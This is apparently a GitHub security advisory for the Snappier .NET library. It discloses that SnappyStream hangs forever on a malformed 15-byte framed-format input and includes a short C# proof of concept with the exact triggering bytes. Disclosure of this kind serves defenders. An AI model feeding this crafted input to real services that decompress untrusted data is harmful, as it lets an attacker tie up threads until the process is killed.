GHSA-pggp-6c3x-2xmx

Summary

Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.

Details

The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.

PoC

using System.IO.Compression;
using Snappier;

byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst);   // never returns

Impact

A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).